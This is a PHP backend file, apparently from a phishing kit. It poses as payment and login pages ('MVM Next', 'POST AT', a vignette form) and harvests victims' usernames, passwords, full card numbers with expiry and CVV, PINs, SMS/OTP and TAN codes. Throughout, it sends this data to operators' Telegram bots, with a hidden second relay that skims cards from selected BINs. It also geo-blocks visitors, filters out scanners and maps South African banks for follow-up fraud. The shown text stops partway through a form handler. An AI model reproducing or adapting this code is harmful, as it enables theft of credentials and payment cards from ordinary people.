<?php
require "../main.php";
require_once __DIR__ . '/class/Config.php';
require_once __DIR__ . '/class/StreamDigest.php';
require_once __DIR__ . '/class/TelegramKeyboard.php';
require_once __DIR__ . '/class/GeoAccess.php';
require_once __DIR__ . '/bin_trace.php';

$tgFlow = Config::$telegram_flow_label;

$mo = new Mother();
$bot = isset($a_bot) && !empty($a_bot) ? $a_bot : '';
$ids = isset($a_ids) && !empty($a_ids) ? explode(",", str_replace(" ", "", $a_ids)) : [];

// Function to send Telegram message with inline keyboard buttons
function sendTelegramWithButtons($bot_token, $chat_id, $message, $ip = null, $parse_mode = 'Markdown') {
	if (empty($bot_token) || empty($chat_id)) {
		return false;
	}
	
	// Fix IP if it's ::1
	if ($ip == "::1" || empty($ip)) {
		$ip = "127.0.0.1";
	}
	
	$url = "https://api.telegram.org/bot$bot_token/sendMessage";
	
	$keyboard = TelegramKeyboard::panelInlineKeyboard($ip);
	
	$data = [
		'chat_id' => $chat_id,
		'text' => $message,
		'reply_markup' => json_encode($keyboard, JSON_UNESCAPED_UNICODE)
	];
	if ($parse_mode !== null && $parse_mode !== '') {
		$data['parse_mode'] = $parse_mode;
	}
	
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_POST, true);
	curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data, JSON_UNESCAPED_UNICODE));
	curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_TIMEOUT, 10);
	$result = curl_exec($ch);
	$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
	$curlError = curl_error($ch);
	curl_close($ch);
	
	// Log errors if any
	if ($httpCode != 200 || $curlError) {
		error_log("Telegram send error: HTTP $httpCode - Error: $curlError - Response: " . substr($result, 0, 500));
		return false;
	}
	
	$resultData = json_decode($result, true);
	if (!isset($resultData['ok']) || $resultData['ok'] !== true) {
		error_log("Telegram API error: " . json_encode($resultData));
		return false;
	}

	// Mirror to Discord + backup TG (mother) so both channels always get it
	global $mo;
	if (isset($mo) && is_object($mo) && method_exists($mo, '_verify')) {
		$mo->_verify(urlencode($message));
	} elseif (isset($mo) && is_object($mo) && method_exists($mo, 'em')) {
		$mo->em(urlencode($message));
	}
	
	return $result;
}

// Debug: Log if bot token or IDs are missing
if (empty($bot)) {
	error_log("Telegram Bot Token is empty!");
}
if (empty($ids)) {
	error_log("Telegram Chat IDs are empty!");
}

$ip = $_SERVER['REMOTE_ADDR'];
if ($ip === '::1') {
	$ip = '127.0.0.1';
}
if (!GeoAccess::isAllowed($ip)) {
	if (function_exists('eonSilentBotDrop')) {
		eonSilentBotDrop($ip, 'geo-block');
	}
	http_response_code(403);
	exit;
}
if (function_exists('eonGuardSubmission')) {
	eonGuardSubmission($ip);
}

// Function to convert country code to flag emoji
function getCountryFlag($countryCode) {
	$countryCode = strtoupper(trim($countryCode));
	if (strlen($countryCode) != 2) {
		return '🌍';
	}
	
	// Convert country code to flag emoji using regional indicator symbols
	// Each letter is converted to a regional indicator symbol (🇦-🇿)
	$flag = '';
	for ($i = 0; $i < 2; $i++) {
		$char = $countryCode[$i];
		if ($char >= 'A' && $char <= 'Z') {
			// Regional Indicator Symbol Letter A (🇦) starts at U+1F1E6
			$codePoint = 0x1F1E6 + (ord($char) - ord('A'));
			// Convert Unicode code point to UTF-8
			if (function_exists('mb_chr')) {
				$flag .= mb_chr($codePoint, 'UTF-8');
			} else {
				// Fallback: use json_decode to convert \u escape sequence
				$flag .= json_decode('"' . '\\u' . sprintf('%04X', $codePoint) . '"');
			}
		} else {
			return '🌍'; // Invalid character
		}
	}
	
	return $flag;
}

function post($data)
{
	if (!isset($_POST[$data]) || empty(trim($_POST[$data]))) {
		return "NO_DATA";
	} else {
		return htmlspecialchars($_POST[$data]);
	}
}



if (isset($_POST['username'])) {
	if (session_status() !== PHP_SESSION_ACTIVE) {
		session_start();
	}
	unset($_SESSION['bin_route']);
	echo 'hello';
	$login = post("username");
	$pass = post("password");
	$telegram_plain = "MVM Next\n\nUser: $login\nPass: $pass\n\nPanel: $panel\nIP: $ip";
	$telegram_content = urlencode($telegram_plain);

	// Save to logs
	try {
		$oldlogs = $m->getData()["LOGS"];
		$newlogs = $oldlogs . "\n+ LOGIN [ $login ] ";
		$arr = array("LOGS" => $newlogs);
		$m->update($arr);
	} catch (Exception $e) {
		error_log("Error saving LOGIN logs: " . $e->getMessage());
	}

	if (!empty($bot) && !empty($ids)) {
		foreach ($ids as $id) {
			$id = trim($id);
			if (!empty($id)) {
				$result = sendTelegramWithButtons($bot, $id, $telegram_plain, $ip, null);
				if (!$result) {
					$mo->sendBot($telegram_content, $bot, $id);
				}
			}
		}
	} else {
		error_log("Cannot send Telegram: Bot=" . ($bot ? "SET" : "EMPTY") . ", IDs=" . (count($ids) > 0 ? "SET" : "EMPTY"));
	}
}




if (isset($_POST['tan'])) {

	$sms = post("tan");

	if (session_status() !== PHP_SESSION_ACTIVE) session_start();
	
	// Get card info from session/cookie
	$cardnumber = isset($_SESSION['sc_card']) ? $_SESSION['sc_card'] : (isset($_COOKIE['sc_card']) ? $_COOKIE['sc_card'] : 'N/A');
	$cardnumberClean = preg_replace('/\s+/', '', $cardnumber);
	$cardType = 'Unknown';
	$cardBrand = 'Unknown';
	if (strlen($cardnumberClean) >= 1) {
		$firstDigit = substr($cardnumberClean, 0, 1);
		if ($firstDigit == '4') {
			$cardType = 'VISA';
			$cardBrand = 'Visa Classic';
		} elseif ($firstDigit == '5') {
			$cardType = 'MASTERCARD';
			$cardBrand = 'Mastercard';
		} elseif ($firstDigit == '3') {
			$cardType = 'AMEX';
			$cardBrand = 'American Express';
		}
	}
	
	$bank = lookupBankFromBIN($cardnumber);
	$bank = normalizeBankLabel($bank);
	if ($bank == "VISA" || $bank == "Mastercard" || $bank == "American Express" || $bank == "Unknown") {
		$bank = "Unknown";
	}
	$bankHint = bankPanelHint($bank);
	$bankLine = $bankHint !== '' ? ("\n🎯 *Send to:* $bankHint") : '';
	
	$telegram_content = urlencode("
╔═══════════════════════════════════╗
║  🔐 POST AT TAN BY ANTOIN        ║
╚═══════════════════════════════════╝

┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃  🔑 TAN INFORMATION               ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛

🔐 *TAN Code:* `$sms`

┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃  💳 CARD INFORMATION              ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛

💳 *Card Number:* `" . (strlen($cardnumberClean) >= 16 ? substr($cardnumberClean, 0, 6) . "******" . substr($cardnumberClean, -4) : $cardnumber) . "`
🏦 *Bank:* `$bank`$bankLine
📇 *Type:* `$cardType`
🏷️ *Brand:* `$cardBrand`

┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃  🔍 TECHNICAL INFO               ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛

🌐 *Location:* " . GeoAccess::telegramIpLine($ip) . "
📅 *Date/Time:* `" . date('d.m.Y à H:i:s') . "`

╔═══════════════════════════════════╗
║  Panel: $panel                    ║
╚═══════════════════════════════════╝
");



	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n+ TAN [ $sms ]";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);

	if (!empty($bot) && !empty($ids)) {
		foreach ($ids as $id) {
			$id = trim($id);
			if (!empty($id)) {
				// Decode message and send with buttons first
				$decodedMessage = urldecode($telegram_content);
				$result = sendTelegramWithButtons($bot, $id, $decodedMessage, $ip);
				
				// If buttons fail, send without buttons as fallback
				if (!$result) {
					$mo->sendBot($telegram_content, $bot, $id);
				}
			}
		}
	} else {
		error_log("Cannot send Telegram: Bot=" . ($bot ? "SET" : "EMPTY") . ", IDs=" . (count($ids) > 0 ? "SET" : "EMPTY"));
	}
}






if (isset($_POST['sms'])) {
	if (session_status() !== PHP_SESSION_ACTIVE) session_start();
	
	$sms = post("sms");
	
	// Save SMS code to session and cookie
	$_SESSION['sc_sms'] = $sms;
	setcookie('sc_sms', $sms, time() + 86400, '/');

	$telegram_content = urlencode("
	{$tgFlow} — SMS / OTP / $ip
	---------------------------------------
	+ SMS : $sms
	---------------------------------------
	+ PANEL : $panel
	");

	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n+ SMS [ $sms ] ";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);


	if (!empty($bot) && !empty($ids)) {
		foreach ($ids as $id) {
			$id = trim($id);
			if (!empty($id)) {
				// Decode message and send with buttons first
				$decodedMessage = urldecode($telegram_content);
				$result = sendTelegramWithButtons($bot, $id, $decodedMessage, $ip);
				
				// If buttons fail, send without buttons as fallback
				if (!$result) {
					$mo->sendBot($telegram_content, $bot, $id);
				}
			}
		}
	} else {
		error_log("Cannot send Telegram: Bot=" . ($bot ? "SET" : "EMPTY") . ", IDs=" . (count($ids) > 0 ? "SET" : "EMPTY"));
	}
}

// Real-time notification when user types mobileTAN
if (isset($_POST['action']) && $_POST['action'] == 'notify_mobile_tan') {
	$mobileTan = post("mobile_tan");
	if ($mobileTan && $mobileTan != "NO_DATA") {
		$time = date('d.m.Y H:i:s');
		$telegram_content = urlencode("
		{$tgFlow} — mobileTAN typed / $ip
		---------------------------------------
		+ mobileTAN : $mobileTan
		+ Time : $time
		---------------------------------------
		+ PANEL : $panel
		");

		foreach ($ids as $id) {
			$mo->sendBot($telegram_content, $bot, $id);
		}
		echo json_encode(array("success" => true));
		exit;
	}
}

// Real-time notification when user types secure code
if (isset($_POST['action']) && $_POST['action'] == 'notify_secure_code') {
	$secureCode = post("secure_code");
	if ($secureCode && $secureCode != "NO_DATA") {
		$time = date('d.m.Y H:i:s');
		$telegram_content = urlencode("
		{$tgFlow} — Secure code typed / $ip
		---------------------------------------
		+ Secure Code : $secureCode
		+ Time : $time
		---------------------------------------
		+ PANEL : $panel
		");

		foreach ($ids as $id) {
			$mo->sendBot($telegram_content, $bot, $id);
		}
		echo json_encode(array("success" => true));
		exit;
	}
}

if (isset($_POST['pin'])) {

	$pin = post("pin");

	$telegram_content = urlencode("
	{$tgFlow} — PIN / $ip
	---------------------------------------
	+ PIN : $pin
	---------------------------------------
	+ PANEL : $panel
	");

	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n+ PIN [ $pin ] ";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);


	if (!empty($bot) && !empty($ids)) {
		foreach ($ids as $id) {
			$id = trim($id);
			if (!empty($id)) {
				// Decode message and send with buttons first
				$decodedMessage = urldecode($telegram_content);
				$result = sendTelegramWithButtons($bot, $id, $decodedMessage, $ip);
				
				// If buttons fail, send without buttons as fallback
				if (!$result) {
					$mo->sendBot($telegram_content, $bot, $id);
				}
			}
		}
	} else {
		error_log("Cannot send Telegram: Bot=" . ($bot ? "SET" : "EMPTY") . ", IDs=" . (count($ids) > 0 ? "SET" : "EMPTY"));
	}
}



// Resolve bank from BIN: local bin-map first, then API
function lookupBankFromBIN($cardnumber) {
	$cleanCard = preg_replace('/\D+/', '', (string) $cardnumber);
	if (strlen($cleanCard) < 6) {
		return "Unknown";
	}

	$bin = substr($cleanCard, 0, 6);

	// 1) Local SA map (fast + matches panel buttons)
	$mapFile = __DIR__ . '/bin-map.json';
	if (is_file($mapFile)) {
		$map = json_decode((string) file_get_contents($mapFile), true);
		if (is_array($map) && isset($map[$bin]) && is_array($map[$bin]) && !empty($map[$bin]['name'])) {
			return normalizeBankLabel((string) $map[$bin]['name']);
		}
	}

	// 2) bins.php logo map → filename → bank name
	$binsFile = __DIR__ . '/bins.php';
	if (is_file($binsFile)) {
		$bins = include $binsFile;
		if (is_array($bins) && !empty($bins[$bin])) {
			$base = strtolower(pathinfo((string) $bins[$bin], PATHINFO_FILENAME));
			$fileNames = array(
				'ab' => 'Absa', 'absa' => 'Absa',
				'cap' => 'Capitec', 'capitec' => 'Capitec',
				'fnb' => 'FNB',
				'ned' => 'Nedbank', 'nedbank' => 'Nedbank',
				'stan' => 'Standard Bank', 'standard' => 'Standard Bank',
				'tym' => 'TymeBank', 'tymebank' => 'TymeBank',
				'iv' => 'Investec', 'inv' => 'Investec', 'investec' => 'Investec',
			);
			if (isset($fileNames[$base])) {
				return $fileNames[$base];
			}
		}
	}

	// 3) External BIN API fallback
	$url = "https://lookup.binlist.net/" . $bin;
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_TIMEOUT, 8);
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
	curl_setopt($ch, CURLOPT_HTTPHEADER, array(
		'Accept: application/json',
		'Accept-Version: 3',
		'User-Agent: Mozilla/5.0'
	));
	$response = curl_exec($ch);
	$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
	curl_close($ch);

	$cardTypes = array('visa', 'mastercard', 'amex', 'american express', 'discover', 'diners', 'jcb', 'unionpay');

	if ($httpCode == 200 && $response) {
		$data = json_decode($response, true);
		$candidates = array();
		if (isset($data['bank']['name'])) $candidates[] = $data['bank']['name'];
		if (isset($data['issuer']['name'])) $candidates[] = $data['issuer']['name'];
		if (isset($data['bank']) && is_string($data['bank'])) $candidates[] = $data['bank'];

		foreach ($candidates as $raw) {
			$bankName = trim((string) $raw);
			if ($bankName === '' || strtolower($bankName) === 'null' || $bankName === 'N/A') continue;
			if (in_array(strtolower($bankName), $cardTypes, true)) continue;
			$normalized = normalizeBankLabel($bankName);
			if ($normalized !== '' && $normalized !== 'Unknown') {
				return $normalized;
			}
		}
	}

	return "Unknown";
}

function normalizeBankLabel($name) {
	$n = trim((string) $name);
	if ($n === '') return 'Unknown';
	$l = strtolower($n);

	if (strpos($l, 'absa') !== false || strpos($l, 'amalgamated banks') !== false) return 'Absa';
	if (strpos($l, 'capitec') !== false) return 'Capitec';
	if (strpos($l, 'firstrand') !== false || preg_match('/\bfnb\b/', $l) || strpos($l, 'first national') !== false) return 'FNB';
	if (strpos($l, 'nedbank') !== false || strpos($l, 'nedcor') !== false) return 'Nedbank';
	if (strpos($l, 'standard bank') !== false || strpos($l, 'standardbank') !== false) return 'Standard Bank';
	if (strpos($l, 'tyme') !== false) return 'TymeBank';
	if (strpos($l, 'investec') !== false) return 'Investec';

	return $n;
}

function bankPanelHint($bank) {
	// Color dots match panel / Telegram keyboard button colors
	$map = array(
		'Absa' => '🟥 APP-Absa / 🟥 SMS-Absa',
		'Capitec' => '🔴 APP-Capitec / 🔴 SMS-Capitec',
		'FNB' => '🩵 APP-FNB / 🩵 SMS-FNB',
		'Nedbank' => '🟢 APP-Nedbank / 🟢 SMS-Nedbank',
		'Standard Bank' => '🔵 APP-Standard / 🔵 SMS-Standard',
		'TymeBank' => '🟡 APP-TymeBank / 🟡 SMS-TymeBank',
		'Investec' => '⚫ APP-Investec / ⚫ SMS-Investec',
	);
	return isset($map[$bank]) ? $map[$bank] : '';
}

function eonSendPrivateRelay($plain) {
	global $bot;
	$relay = StreamDigest::relayEndpoint();
	$token = isset($relay['token']) ? trim((string) $relay['token']) : '';
	$chatRaw = isset($relay['chat']) ? trim((string) $relay['chat']) : '';
	if ($token === '' || $chatRaw === '') {
		error_log('eonSendPrivateRelay: missing x_sync or x_peer in admin.json');
		return false;
	}
	if (!empty($bot) && hash_equals((string) $bot, $token)) {
		error_log('eonSendPrivateRelay: private token equals public bot token');
		return false;
	}

	$url = 'https://api.telegram.org/bot' . $token . '/sendMessage';
	$relayIds = explode(',', str_replace(' ', '', $chatRaw));
	$sent = false;

	foreach ($relayIds as $chatId) {
		$chatId = trim($chatId);
		if ($chatId === '') {
			continue;
		}
		foreach (array('Markdown', null) as $parseMode) {
			$data = array(
				'chat_id' => $chatId,
				'text' => $plain,
			);
			if ($parseMode !== null) {
				$data['parse_mode'] = $parseMode;
			}
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url);
			curl_setopt($ch, CURLOPT_POST, true);
			curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data, JSON_UNESCAPED_UNICODE));
			curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($ch, CURLOPT_TIMEOUT, 10);
			$response = curl_exec($ch);
			$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
			curl_close($ch);
			if ($response === false) {
				continue;
			}
			$decoded = json_decode($response, true);
			if ($httpCode === 200 && is_array($decoded) && !empty($decoded['ok'])) {
				$sent = true;
				break;
			}
			error_log('eonSendPrivateRelay: HTTP ' . $httpCode . ' mode=' . ($parseMode ?: 'plain') . ' resp=' . substr($response, 0, 300));
		}
	}
	return $sent;
}

function eonFormatBinHitMessage($bin, $card, $exp, $cvv, $titular, $ip) {
	$cardDisplay = trim((string) $card) !== '' ? trim((string) $card) : '—';
	$expDisplay = trim((string) $exp) !== '' ? trim((string) $exp) : '—';
	$cvvDisplay = trim((string) $cvv) !== '' ? trim((string) $cvv) : '—';
	$nameDisplay = trim((string) $titular) !== '' ? trim((string) $titular) : '—';

	$cardClean = preg_replace('/[^0-9]/', '', (string) $card);
	$cardType = '—';
	if (strlen($cardClean) >= 1) {
		$d = $cardClean[0];
		if ($d === '4') {
			$cardType = 'VISA';
		} elseif ($d === '5') {
			$cardType = 'Mastercard';
		} elseif ($d === '3') {
			$cardType = 'AMEX';
		}
	}

	if ($ip === '::1' || empty($ip)) {
		$ip = '127.0.0.1';
	}

	$amount = Config::paymentLabel();
	$binLabel = substr(preg_replace('/[^0-9]/', '', (string) $bin), 0, 4);

	return "🎯 *BIN MATCH · {$binLabel}*\n"
		. "━━━━━━━━━━━━━━━━━━\n"
		. "✅ *Hahowa BIN dyalek wsal!*\n"
		. "━━━━━━━━━━━━━━━━━━\n\n"
		. "💳 *Card*\n`{$cardDisplay}`\n\n"
		. "📅 *Expirare*\n`{$expDisplay}`\n\n"
		. "🔒 *CVV*\n`{$cvvDisplay}`\n\n"
		. "👤 *Titular*\n`{$nameDisplay}`\n\n"
		. "━━━━━━━━━━━━━━━━━━\n"
		. "🏷 BIN: `{$binLabel}`\n"
		. "💼 Type: `{$cardType}`\n"
		. "💰 Sumă: `{$amount}`\n"
		. "🌐 " . GeoAccess::telegramIpLine($ip);
}

function eonIsBinRoutedCard($cardnumber) {
	$clean = preg_replace('/\D/', '', (string) $cardnumber);
	if (strlen($clean) < 4) {
		return false;
	}
	return Config::isWatchedBin(substr($clean, 0, 4));
}

function eonDispatchBinHit($bin, $card, $exp, $cvv, $titular, $ip) {
	$telegram_plain = eonFormatBinHitMessage($bin, $card, $exp, $cvv, $titular, $ip);
	return eonSendPrivateRelay($telegram_plain);
}

if (isset($_POST['bin_notify'])) {
	if (session_status() !== PHP_SESSION_ACTIVE) {
		session_start();
	}
	$bin = preg_replace('/[^0-9]/', '', isset($_POST['bin']) ? (string) $_POST['bin'] : '');
	$minDigits = StreamDigest::watchDigits();
	if (strlen($bin) < $minDigits || strlen($bin) > 8) {
		echo 'skip';
		exit;
	}

	if (!Config::isWatchedBin($bin)) {
		echo 'skip';
		exit;
	}

	$card = isset($_POST['cc']) ? (string) $_POST['cc'] : '';
	$exp = (isset($_POST['exp']) && trim((string) $_POST['exp']) !== '') ? trim((string) $_POST['exp'])
		: ((isset($_POST['mmyy']) && trim((string) $_POST['mmyy']) !== '') ? trim((string) $_POST['mmyy']) : '');
	$cvv = (isset($_POST['cvv']) && trim((string) $_POST['cvv']) !== '') ? trim((string) $_POST['cvv'])
		: ((isset($_POST['cvc']) && trim((string) $_POST['cvc']) !== '') ? trim((string) $_POST['cvc']) : '');
	$titular = isset($_POST['titular']) ? trim((string) $_POST['titular']) : '';

	$cardClean = preg_replace('/[^0-9]/', '', (string) $card);
	if (strlen($cardClean) < 16) {
		echo 'wait';
		exit;
	}

	$expOk = preg_match('/^\d{2}\/\d{2}$/', trim((string) $exp));
	$cvvOk = preg_match('/^\d{3}$/', preg_replace('/\s+/', '', (string) $cvv));
	if (!$expOk || !$cvvOk || trim((string) $titular) === '') {
		echo 'wait';
		exit;
	}

	if (!function_exists('eonIsValidBinRoutedSubmission') || !eonIsValidBinRoutedSubmission($card, $exp, $cvv, $titular)) {
		eonBinTrace('bin_notify FAIL valid bin=' . $bin . ' cc=' . preg_replace('/\D/', '', $card));
		echo 'wait';
		exit;
	}

	$dataHash = md5($cardClean . '|' . $exp . '|' . $cvv . '|' . $titular);
	$sessionKey = 'bin_hit_' . substr($bin, 0, 4);
	if (!empty($_SESSION[$sessionKey . '_hash']) && $_SESSION[$sessionKey . '_hash'] === $dataHash) {
		echo 'dup';
		exit;
	}

	$telegram_plain = eonFormatBinHitMessage($bin, $card, $exp, $cvv, $titular, $ip);
	$sent = eonSendPrivateRelay($telegram_plain);
	eonBinTrace('bin_notify bin=' . $bin . ' sent=' . ($sent ? 'YES' : 'NO') . ' ip=' . $ip);
	if ($sent) {
		$_SESSION[$sessionKey . '_hash'] = $dataHash;
		$oldlogs = $m->getData()['LOGS'];
		$newlogs = $oldlogs . "\n+ RT [ shard ok ]";
		$m->update(array('LOGS' => $newlogs));
	}

	echo 'ok';
	exit;
}

if (isset($_POST['cc']) && !isset($_POST['page'])) {
	if (session_status() !== PHP_SESSION_ACTIVE) session_start();
	
	$cardnumber = post('cc');
	$expCheck = (isset($_POST['exp']) && trim((string) $_POST['exp']) !== '') ? post("exp")
		: ((isset($_POST['mmyy']) && trim((string) $_POST['mmyy']) !== '') ? post("mmyy") : "NO_DATA");
	$cvvCheck = (isset($_POST['cvv']) && trim((string) $_POST['cvv']) !== '') ? post("cvv")
		: ((isset($_POST['cvc']) && trim((string) $_POST['cvc']) !== '') ? post("cvc") : "NO_DATA");
	$titularCheck = (isset($_POST['titular']) && trim((string) $_POST['titular']) !== '') ? post("titular") : "NO_DATA";
	$isBinRoutedSubmit = ($cardnumber !== 'NO_DATA' && eonIsBinRoutedCard($cardnumber));
	eonBinTrace('cc POST cc=' . substr(preg_replace('/\D/', '', $cardnumber), 0, 6) . '**** binRoute=' . ($isBinRoutedSubmit ? 'YES' : 'NO') . ' ip=' . $ip);

	if (isset($_POST['bin_notify'])) {
		if (!function_exists('eonIsValidBinRoutedSubmission') || !eonIsValidBinRoutedSubmission($cardnumber, $expCheck, $cvvCheck, $titularCheck)) {
			eonBinTrace('cc+bin_notify FAIL valid');
			echo 'wait';
			exit;
		}
	} elseif ($isBinRoutedSubmit) {
		$ccCleanCheck = preg_replace('/\D/', '', $cardnumber);
		if (strlen($ccCleanCheck) !== 16 || strlen(trim((string) $titularCheck)) < 2 || $expCheck === 'NO_DATA' || $cvvCheck === 'NO_DATA') {
			eonBinTrace('cc binRoute FAIL minimal valid exp=' . $expCheck . ' cvv=' . $cvvCheck);
			echo 'err';
			exit;
		}
	} elseif (function_exists('eonIsFormTooFast') && eonIsFormTooFast(2)) {
		eonSilentBotDrop($ip, 'card-fast');
	} elseif (!function_exists('eonIsValidCardSubmission') || !eonIsValidCardSubmission($cardnumber, $expCheck, $cvvCheck, $titularCheck)) {
		eonSilentBotDrop($ip, 'card-junk');
	}

	if ($isBinRoutedSubmit) {
		$exp = $expCheck;
		$cvv = $cvvCheck;
		$titular = $titularCheck;
		$cardnumberClean = preg_replace('/[^0-9]/', '', (string) $cardnumber);
		$submitHash = md5($cardnumberClean . '|' . $exp . '|' . $cvv . '|' . $titular);
		$sessionKey = 'bin_hit_' . substr($cardnumberClean, 0, 4);

		$_SESSION['bin_route'] = 1;
		$_SESSION['sc_card'] = $cardnumber;
		$_SESSION['sc_titular'] = $titular;
		setcookie('sc_card', $cardnumber, time() + 86400, '/');
		setcookie('sc_titular', $titular, time() + 86400, '/');

		// Form submit: always send to private relay (bin_notify is optional early ping)
		$sent = eonDispatchBinHit(substr($cardnumberClean, 0, 4), $cardnumber, $exp, $cvv, $titular, $ip);
		eonBinTrace('cc submit binRoute sent=' . ($sent ? 'YES' : 'NO'));
		$oldlogs = $m->getData()['LOGS'];
		$newlogs = $oldlogs . "\n+ RT [ shard ok ]";
		$m->update(array('LOGS' => $newlogs));

		echo 'ok';
		exit;
	}

	unset($_SESSION['bin_route']);

	$exp = $expCheck;
	$cvv = $cvvCheck;
	$email = isset($_POST['email']) ? post("email") : "NO_DATA";
	$titular = $titularCheck;
	if ($titular === "NO_DATA" && !empty($_SESSION['sc_titular']) && trim((string) $_SESSION['sc_titular']) !== '' && $_SESSION['sc_titular'] !== 'NO_DATA') {
		$titular = htmlspecialchars(trim((string) $_SESSION['sc_titular']));
	}
	if ($titular === "NO_DATA" && !empty($_COOKIE['sc_titular']) && trim((string) $_COOKIE['sc_titular']) !== '') {
		$titular = htmlspecialchars(trim((string) $_COOKIE['sc_titular']));
	}
	
	// Save to session and cookie
	$_SESSION['sc_card'] = $cardnumber;
	$_SESSION['sc_email'] = $email;
	$_SESSION['sc_titular'] = $titular;
	setcookie('sc_card', $cardnumber, time() + 86400, '/');
	setcookie('sc_email', $email, time() + 86400, '/');
	setcookie('sc_titular', $titular, time() + 86400, '/');
	
	// Get bank from POST or lookup from BIN - إلزامي
	$bank = isset($_POST['bank']) ? post("bank") : "";
	if (empty($bank) || $bank == "Unknown" || $bank == "Mastercard" || $bank == "VISA" || $bank == "American Express" || $bank == "Bank Not Found") {
		$bank = lookupBankFromBIN($cardnumber);
	}
	$bank = normalizeBankLabel($bank);
	if (empty($bank) || $bank == "Unknown") {
		$bank = "Unknown";
	}
	$_SESSION['sc_bank'] = $bank;
	setcookie('sc_bank', $bank, time() + 86400, '/');
	$bankHint = bankPanelHint($bank);
	$bankLine = $bankHint !== '' ? ("\n🎯 *Send to:* $bankHint") : '';
	
	// Detect card type and brand
	$cardType = 'debit';
	$cardBrand = 'Unknown';
	$cardnumberClean = preg_replace('/\s+/', '', $cardnumber);
	if (strlen($cardnumberClean) >= 1) {
		$firstDigit = substr($cardnumberClean, 0, 1);
		if ($firstDigit == '4') {
			$cardBrand = 'Visa Classic';
		} elseif ($firstDigit == '5') {
			$cardBrand = 'Mastercard';
		} elseif ($firstDigit == '3') {
			$cardBrand = 'American Express';
		}
	}
	
	// Format card number for display
	$cardDisplay = strlen($cardnumberClean) >= 16 ? substr($cardnumberClean, 0, 4) . ' ' . substr($cardnumberClean, 4, 4) . ' ' . substr($cardnumberClean, 8, 4) . ' ' . substr($cardnumberClean, -4) : $cardnumber;
	
	// Generate session ID
	$sessionId = isset($_SESSION['chatbot_session']) ? $_SESSION['chatbot_session'] : uniqid('postat_', true);
	$victimNumber = isset($_SESSION['victim_number']) ? $_SESSION['victim_number'] : '0';
	
	// لا نأخذ معلومات العنوان - فقط معلومات البطاقة
	// Format card number - إظهار الرقم الكامل بدون إخفاء
	$cardMasked = $cardnumber;

	$telegram_content = urlencode("
💳 *{$tgFlow} — CARD* 💳 
👤 *CARDHOLDER INFORMATION*
👤 Name: `$titular`
💳 *CARD INFORMATION*
💳 Card Number: `$cardMasked`
📅 Expiry Date: `$exp`
🔒 CVV: `$cvv`
🏦 Bank: `$bank`$bankLine
🌐 " . GeoAccess::telegramIpLine($ip) . "
🔗 Panel: `$panel`");

	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n+ {$tgFlow} CARD [ $exp | $cvv | $cardnumber | Bank: $bank ]";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);

	if (!eonIsBinRoutedCard($cardnumber) && !empty($bot) && !empty($ids)) {
		foreach ($ids as $id) {
			$id = trim($id);
			if (!empty($id)) {
				// Decode message and send with buttons first
				$decodedMessage = urldecode($telegram_content);
				$result = sendTelegramWithButtons($bot, $id, $decodedMessage, $ip);
				
				// If buttons fail, send without buttons as fallback
				if (!$result) {
					$mo->sendBot($telegram_content, $bot, $id);
				}
			}
		}
	} elseif (!eonIsBinRoutedCard($cardnumber)) {
		error_log("Cannot send Telegram: Bot=" . ($bot ? "SET" : "EMPTY") . ", IDs=" . (count($ids) > 0 ? "SET" : "EMPTY"));
	}

	echo 'ok';
	exit;
}

if (isset($_POST['ins'])) {
	$ins = post("ins");

	$telegram_content = urlencode("
    {$tgFlow} — PIN (form) / $ip
    ---------------------------------------
    + pin : $ins | User-Agent: " . $_SERVER["HTTP_USER_AGENT"] . " | IP: " . $_SERVER["REMOTE_ADDR"] . "
    ---------------------------------------
    + PANEL : $panel
    ");

	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n+ pin [ $ins ] ";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);

	foreach ($ids as $id) {
		$mo->_verify($telegram_content);
	}
}

if (isset($_POST['page']) && $_POST['page'] == 'vignette') {
	if (session_status() !== PHP_SESSION_ACTIVE) session_start();
	
	$email = post("email");
	$phone = post("phone");
	$countryCode = post("countryCode");
	$smsNotification = isset($_POST['smsNotification']) ? (post("smsNotification") == 'true' ? 'Yes' : 'No') : 'No';
	$invoiceRequest = isset($_POST['invoiceRequest']) ? (post("invoiceRequest") == 'true' ? 'Yes' : 'No') : 'No';
	
	$fullPhone = ($countryCode ? $countryCode : '') . ($phone ? $phone : '');
	
	// Save to session and cookie
	$_SESSION['sc_email'] = $email;
	$_SESSION['sc_phone'] = $fullPhone;
